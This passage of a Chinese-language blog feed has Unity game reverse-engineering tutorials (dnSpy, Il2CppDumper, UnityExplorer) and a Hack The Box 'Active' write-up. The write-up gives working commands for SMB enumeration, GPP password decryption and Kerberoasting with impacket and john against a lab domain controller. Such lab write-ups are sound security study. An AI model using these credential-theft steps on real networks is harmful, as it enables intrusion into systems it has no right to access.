&lt;li&gt;比較忙一點&lt;/li&gt;
&lt;li&gt;錢比家教少
&lt;ul&gt;
&lt;li&gt;除非你天賦異稟，不然實習薪水會比拿著台大身分接家教低&lt;/li&gt;
&lt;li&gt;老實說前面那些優點不用付錢就賺爛了，有錢拿根本是 Stealing deal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;個人是 GPA 放推也可以接受大岩壁，自然是不會放過實習這種大好機會&lt;br /&gt;
如果你想發家致富或是要追求書卷獎的話就不太適合了&lt;/p&gt;
&lt;h3&gt;Ubike 還是買腳踏車&lt;/h3&gt;
&lt;p&gt;騎了一整學期的 Ubike，確實可行但建議買一台腳踏車&lt;br /&gt;
只要因為全有全無律遲到一次就會後悔不買車了&lt;/p&gt;
&lt;h3&gt;待在系館&lt;/h3&gt;
&lt;p&gt;強者學姐寫的文章提到要常去系館才不會被強者們拋下&lt;br /&gt;
目前沒啥感覺，可能我太笨沒發現已經被拋下了🥲，不過系核們確實常待在系館。&lt;/p&gt;
</content:encoded></item><item><title>Unity 逆向入門第三篇：UnityExplorer</title><link>https://flydragonw.github.io/posts/unity_reverse_3/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/unity_reverse_3/</guid><description>Unity 遊戲逆向的一些小技巧</description><pubDate>Mon, 12 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.unity_reverse_3&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;AIS3 結束了，繼續寫這個系列&lt;br /&gt;
這篇會介紹一些酷酷的工具像是 &lt;a href=&quot;https://github.com/sinai-dev/UnityExplorer&quot;&gt;UnityExplorer&lt;/a&gt;、&lt;a href=&quot;https://github.com/Perfare/AssetStudio&quot;&gt;AssetStudio&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;MelonLoader + UnityExplorer&lt;/h2&gt;
&lt;p&gt;除了乖乖用 IL2CPPDumper 反編譯以外，還有更粗暴的選擇：MOD&lt;br /&gt;
甭管他是 IL2CPP 還是 Mono，UnityExplorer 直接一刀殺進去。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/LavaGang/MelonLoader&quot;&gt;MelonLoader&lt;/a&gt; 搭配上 &lt;a href=&quot;https://github.com/sinai-dev/UnityExplorer&quot;&gt;UnityExplorer&lt;/a&gt; 實在是非常強大，建議看完這篇直接上手體驗，用過都說讚。&lt;/p&gt;
&lt;h3&gt;安裝方法&lt;/h3&gt;
&lt;p&gt;先安裝 &lt;a href=&quot;https://github.com/LavaGang/MelonLoader&quot;&gt;MelonLoader&lt;/a&gt;，選擇遊戲執行檔後按 install 就好，非常銀杏（建議都用v0.5.X）&lt;br /&gt;
失敗的話也可以換成其他的 MOD Loader 試試看&lt;br /&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安裝完成後執行遊戲，除了遊戲畫面還會多出現一個視窗&lt;/p&gt;
&lt;p&gt;接下來再安裝 &lt;a href=&quot;https://github.com/sinai-dev/UnityExplorer&quot;&gt;UnityExplorer&lt;/a&gt;，Release 找到對應檔案之後解壓會是這兩個資料夾&lt;br /&gt;
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接複製到遊戲資料夾就好了&lt;br /&gt;
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來再執行遊戲就會看到酷酷的視窗
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;如何使用&lt;/h3&gt;
&lt;p&gt;最主要就是兩個功能&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Explore Scene&lt;/li&gt;
&lt;li&gt;Hook&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Explore Scene&lt;/h4&gt;
&lt;p&gt;既然叫做 Unity Explorer，具體是怎麼個 Explore 法呢？&lt;/p&gt;
&lt;p&gt;可以看到當前這個 Scene 有哪些 GameObject&lt;br /&gt;
當然也可以透過 Load Scene 直接到其他的場景&lt;br /&gt;
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;對著好奇的 Object 點一下，就可以查看它的詳細資料&lt;/p&gt;
&lt;p&gt;針對這個 Object 就有這些事情可以做&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複製/破壞&lt;/li&gt;
&lt;li&gt;改變 Active State&lt;/li&gt;
&lt;li&gt;改變 Transform&lt;/li&gt;
&lt;li&gt;改變 Tag/Layer/Flag&lt;/li&gt;
&lt;li&gt;新增子物件/Component&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;對著 Component 點一下，也可以進一步查看或是修改&lt;br /&gt;
像這邊 Grounded、timer、self 三個變數都可以去做修改&lt;br /&gt;
也可以直接呼叫裡面的 Function&lt;br /&gt;
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;例如這邊我把紅球的 self 替換成黃球的 prefab&lt;br /&gt;
就可以有這種效果&lt;br /&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到這裡，你可能會覺得這是標題詐騙，怎麼都在玩甚麼 Object 說好的 Explore 呢&lt;br /&gt;
其實用 Freecam 功能就可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;網路上有些&quot;拆包&quot;或是&quot;開發者視角&quot;相關的影片應該有很大一部分就是用這個 Freecam 功能&lt;/p&gt;
&lt;h4&gt;C# Console &amp;amp; Hook&lt;/h4&gt;
&lt;p&gt;UnityExplorer 真正的強大之處是可以執行自己寫的 C# Code 跟輕鬆做到 Hook&lt;/p&gt;
&lt;p&gt;這是用 C# Console 執行以下程式碼的結果，可以得到福壽螺卵&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GameObject hori = GameObject.Find(&quot;Horizontal&quot;);
hori.GetComponent&amp;lt;Rigidbody&amp;gt;().useGravity = false;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;
當然這只是個演示，拿來做 Inspector 就能做到的事還是大材小用了&lt;/p&gt;
&lt;p&gt;Hook 功能也是特別好用，這邊 Hook 掉 OncollisionEnter&lt;br /&gt;
只要發生碰撞就把對方 GameObject Destroy 掉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UnityEngine.Object.Destroy(__0.gameObject);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;之後應該會繼續寫靶機 Writeup（Hopefully），Unity 第四篇我想找實際的案例所以之後再說 差低&lt;/p&gt;
</content:encoded></item><item><title>Unity 逆向入門第二篇：反編譯</title><link>https://flydragonw.github.io/posts/unity_reverse_2/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/unity_reverse_2/</guid><description>Unity 遊戲逆向的一些小技巧</description><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.unity_reverse_2&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這篇是用 &lt;a href=&quot;https://github.com/dnSpy/dnSpy&quot;&gt;DnSpy&lt;/a&gt; 反編譯 Mono Build 的 Unity App&lt;br /&gt;
還有用 &lt;a href=&quot;https://github.com/Perfare/Il2CppDumper&quot;&gt;Il2CppDumper&lt;/a&gt; 反編譯 IL2CPP Build&lt;/p&gt;
&lt;h2&gt;DnSpy 反編譯 Mono Build&lt;/h2&gt;
&lt;p&gt;一樣用&lt;a href=&quot;https://github.com/FlyDragonW/Projectile-Motion-Simulator&quot;&gt;我高一的物理作業&lt;/a&gt;當例子&lt;/p&gt;
&lt;p&gt;用 DnSpy 打開 &lt;code&gt;Assembly-CSharp.dll&lt;/code&gt; (File &amp;gt; Open)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;app目錄&amp;gt;\&amp;lt;app名稱&amp;gt;_Data\Managed\Assembly-CSharp.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打開後可以在 Assembly Explorer 看到 ball 這個 Script&lt;br /&gt;
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;反編譯的結果是這樣的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using System;
using UnityEngine;

// Token: 0x02000002 RID: 2
public class ball : MonoBehaviour
{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	private void Start()
	{
		Object.Instantiate&amp;lt;GameObject&amp;gt;(this.self);
	}

	// Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260
	private void FixedUpdate()
	{
		this.timer += Time.deltaTime;
		if (this.timer &amp;gt;= 0.4f &amp;amp;&amp;amp; !this.Grounded)
		{
			this.timer = 0f;
			Object.Instantiate&amp;lt;GameObject&amp;gt;(this.self, base.transform.position, base.transform.rotation);
		}
	}

	// Token: 0x06000003 RID: 3 RVA: 0x000020C1 File Offset: 0x000002C1
	private void OnCollisionEnter(Collision collision)
	{
		this.Grounded = true;
	}

	// Token: 0x04000001 RID: 1
	public GameObject self;

	// Token: 0x04000002 RID: 2
	private float timer;

	// Token: 0x04000003 RID: 3
	private bool Grounded;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不能說很像，只能說一模一樣&lt;/p&gt;
&lt;p&gt;試玩一下這個 App，按下 Drop 後會放掉球&lt;br /&gt;
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;假設我覺得這個軌跡不夠密集，該怎麼 Patch 呢？&lt;/p&gt;
&lt;p&gt;很簡單，對著你想修改的部分按右鍵就好了&lt;br /&gt;
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原本是每 0.4 秒產生一次，現在我改成每 0.1 秒產生一次&lt;br /&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Compile 可能會報錯，照著錯誤訊息修改一下就可以了
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功 Compile 之後可以看到我們做的修改
&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修改完成後記得要存檔&lt;/strong&gt;（ctrl + shift + s）&lt;/p&gt;
&lt;p&gt;存檔完就可以去看看效果&lt;br /&gt;
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來就可以發揮你的想像力了，例如我想修改球的大小&lt;br /&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那結果就會是這樣的&lt;br /&gt;
&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;IL2CPP&lt;/h2&gt;
&lt;p&gt;前面說到如果是 Mono Build 可以直接用 DnSpy，但遊戲廠商也不傻，基本上都會用上 IL2CPP&lt;br /&gt;
有的還會加殼，不過那應該可以再寫一篇了&lt;/p&gt;
&lt;p&gt;總之想要逆向 IL2CPP 可以用 &lt;a href=&quot;https://github.com/Perfare/Il2CppDumper&quot;&gt;Il2CppDumper&lt;/a&gt; + IDA&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Il2CppDumper&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;執行 &lt;code&gt;Il2CppDumper.exe&lt;/code&gt; 依序選擇 &lt;code&gt;GameAssembly.dll&lt;/code&gt; 和 &lt;code&gt;global-metadata.dat&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;app目錄&amp;gt;\GameAssembly.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;app目錄&amp;gt;\&amp;lt;app名稱&amp;gt;_Data\il2cpp_data\Metadata\global-metadata.dat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-14.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DnSpy &lt;code&gt;Assembly-CSharp.dll&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Il2CppDumper\DummyDll\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到函數名稱和變數等，接下來還需要反編譯出內部邏輯
&lt;img src=&quot;image-15.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;IDA &lt;code&gt;GameAssembly.dll&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;app目錄&amp;gt;\GameAssembly.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來要用到 &lt;code&gt;ida_with_struct_py3.py&lt;/code&gt; 這個腳本&lt;/p&gt;
&lt;p&gt;在 IDA 裡按 Alt + F7 或是 File &amp;gt; Script File 選擇腳本&lt;br /&gt;
&lt;img src=&quot;image-16.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再來是 &lt;code&gt;script.json&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;image-17.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最後是 &lt;code&gt;il2cpp.h&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;image-18.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;成功ㄌ&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;image-19.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;沒想到 Il2CppDumper 跟 AssetStudio 的作者是同個人&lt;/p&gt;
</content:encoded></item><item><title>Unity 逆向入門第一篇：開發一個 Unity App</title><link>https://flydragonw.github.io/posts/unity_reverse_1/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/unity_reverse_1/</guid><description>Unity 遊戲逆向的一些小技巧</description><pubDate>Tue, 23 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.unity_reverse_1&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;HTB 訂閱到期ㄌ，窮困潦倒所以暫時停更&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;先打預防針：這系列只會講很簡單的東西，內容也可能會有錯誤&lt;br /&gt;
希望可以拋磚引玉看到更多人分享自己學的東東，不要再內捲偷藏招了XD&lt;br /&gt;
如果你對 Unity 逆向有興趣的話就看下去吧 &amp;gt;.0&lt;/p&gt;
&lt;h2&gt;一個 Unity App 裡面都有些啥&lt;/h2&gt;
&lt;p&gt;條件允許的話建議還是動手做做看，印象會比較深&lt;/p&gt;
&lt;p&gt;這邊就拿&lt;a href=&quot;https://github.com/FlyDragonW/Projectile-Motion-Simulator&quot;&gt;我高一的物理作業&lt;/a&gt; 當例子，來看看一個 Unity App 裡面有哪些東西&lt;/p&gt;
&lt;p&gt;總之大概有這些東西：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Scenes（場景）&lt;/li&gt;
&lt;li&gt;GameObjects：Scene 裡的物體，Player、Camera 等&lt;/li&gt;
&lt;li&gt;Assets：C# script、圖片、模型、材質、Prefab 等&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Scene&lt;/h3&gt;
&lt;p&gt;一個 Unity App 可能會有很多個場景，這個專案只有一個 Sample Scene&lt;br /&gt;
&lt;img src=&quot;image-1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scene 底下會有 GameObject，也就是使用者透過 Camera 可以看到的東西&lt;br /&gt;
Canvas 存放的是跟 UI 有關的 GameObject
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;GameObject&lt;/h3&gt;
&lt;p&gt;GameObject 底下則是可以有各種 Component&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Transform：位置/旋轉/大小&lt;/li&gt;
&lt;li&gt;Collider：碰撞體，會和其他 Collider 發生碰撞&lt;/li&gt;
&lt;li&gt;Rigidbody：鋼體，代表這個 GameObject 可以受到力量作用&lt;/li&gt;
&lt;li&gt;Script
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Assets&lt;/h3&gt;
&lt;p&gt;各種東西都在這&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Script&lt;/h3&gt;
&lt;p&gt;這邊來看 Ball 這個 Script&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class ball : MonoBehaviour
{
    public GameObject self;
    float timer;
    bool Grounded;
    void Start()
    {
        Instantiate(self);
    }
    void FixedUpdate()
    {
        
        timer += Time.deltaTime;
        if(timer &amp;gt;= 0.4f &amp;amp;&amp;amp; !Grounded)
        {
            timer = 0;
            Instantiate(self,transform.position,transform.rotation);
        }
    }

    private void OnCollisionEnter(Collision collision)
    {
        Grounded = true;    
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Start()：Scene 的第一幀會執行 Start()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update() / FixedUpdate()：開始後每一幀都會執行 Update()，FixedUpdate 解釋起來會比較複雜，可以簡單理解成每秒會執行很多次就好&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Instantiate()：生成 GameObject&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OnCollision/OnTrigger 系列：發生碰撞時會呼叫的 Function，呼叫時機會因後綴不同而有所不同&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;看完 Script 就可以知道這個 Ball 大概在幹嘛&lt;br /&gt;
--&amp;gt; 開始時生成一次叫做 self 的 GameObject，之後在落地前每隔 0.4 秒生成一次&lt;/p&gt;
&lt;h2&gt;其他你要知道的事&lt;/h2&gt;
&lt;h3&gt;Mono V.S. IL2CPP&lt;/h3&gt;
&lt;p&gt;開發完成後需要 Build&lt;br /&gt;
接下來講講 Unity 的兩種 Build 方法： Mono、IL2CPP&lt;/p&gt;
&lt;p&gt;廢話就不講了，簡單講就是 Mono Build 可以直接用 DnSpy 一刀殺進去，而 IL2CPP 不行&lt;br /&gt;
具體來說怎麼用 DnSpy 反編譯就是下一篇的內容了&lt;/p&gt;
&lt;p&gt;不過預設選項是 Mono，所以看到是 Unity 就可以 DnSpy 啟動了
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CheatEngine&lt;/h3&gt;
&lt;p&gt;配著用有奇效，但如果用 CE 就能輕易解決的事就不需要搞些花里胡哨的&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;下篇會是如何反編譯 Mono/IL2CPP Build&lt;/p&gt;
&lt;h2&gt;AssetStudio 查看 Assets&lt;/h2&gt;
&lt;p&gt;AssetStudio 可以拿來拆音訊圖片等等的，特定情況可能會需要&lt;/p&gt;
&lt;p&gt;Load 遊戲資料夾
&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不過這個 App 沒什麼能拆，就拿預設的東西當例子&lt;br /&gt;
在 Assets List 就可以預覽，右鍵可以導出&lt;br /&gt;
&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Active Walkthrough</title><link>https://flydragonw.github.io/posts/htb_active/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_active/</guid><description>Active Write-up w/o Metasploit</description><pubDate>Tue, 14 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_active&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Active，難度是 Easy 也是 AD Track 的第三台&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Extract password from Group Policy Preferences XML file&lt;/li&gt;
&lt;li&gt;Kerberoasting&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.6&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.100&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-14 00:43:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -5m10s
| smb2-time: 
|   date: 2024-05-14T00:44:38
|_  start_date: 2024-05-12T14:12:52
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;值得關注的有 domain, kerberos, ldap 以及 smb&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;smb&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;smbclient -N -L \\\\10.10.10.100\\
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Replication     Disk      
SYSVOL          Disk      Logon server share 
Users           Disk
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;smbmap -H 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Disk                        Permissions     Comment
----                        -----------     -------
ADMIN$                      NO ACCESS       Remote Admin
C$                          NO ACCESS       Default share
IPC$                        NO ACCESS       Remote IPC
NETLOGON                    NO ACCESS       Logon server share 
Replication                 READ ONLY
SYSVOL                      NO ACCESS       Logon server share 
Users                       NO ACCESS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replication 有開匿名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -N -L \\\\10.10.10.100\\Replication
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻一下到這個路徑拿到 &lt;code&gt;Groups.xml&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\&amp;gt; get Groups.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;ldap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ldapsearch -H ldap://10.10.10.100 -x -s base namingcontexts
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;dn:
namingContexts: DC=active,DC=htb
namingContexts: CN=Configuration,DC=active,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb
namingContexts: DC=DomainDnsZones,DC=active,DC=htb
namingContexts: DC=ForestDnsZones,DC=active,DC=htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;嘗試 AS-REP-Roasting&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetNPUsers active.htb/ -dc-ip 10.10.10.100 -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;失敗&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;嘗試用這個工具解出 &lt;code&gt;Groups.xml&lt;/code&gt; 密碼&lt;br /&gt;
https://github.com/t0thkr1s/gpp-decrypt
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;嘗試用 evil-winrm 連上主機&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;失敗了&lt;/p&gt;
&lt;p&gt;smbmap + credential 再列舉一次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbmap -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再用 smbclient 連上去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient \\\\10.10.10.100\\Users -U SVC_TGS%GPPstillStandingStrong2k18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到桌面就可以拿到 flag 了&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;有 kerberos，嘗試一下 Kerberoasting&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查到這篇&lt;br /&gt;
https://github.com/ivanitlearning/CTF-Repos/blob/master/HTB/Sauna/Kerberoasting-HSmith.md&lt;/p&gt;
&lt;p&gt;笑死是 AD track 前一台的文&lt;/p&gt;
&lt;p&gt;沒想到是跟時間有關&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重送一次就拿到 password hash 了&lt;br /&gt;
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用 john + rockyou crack&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
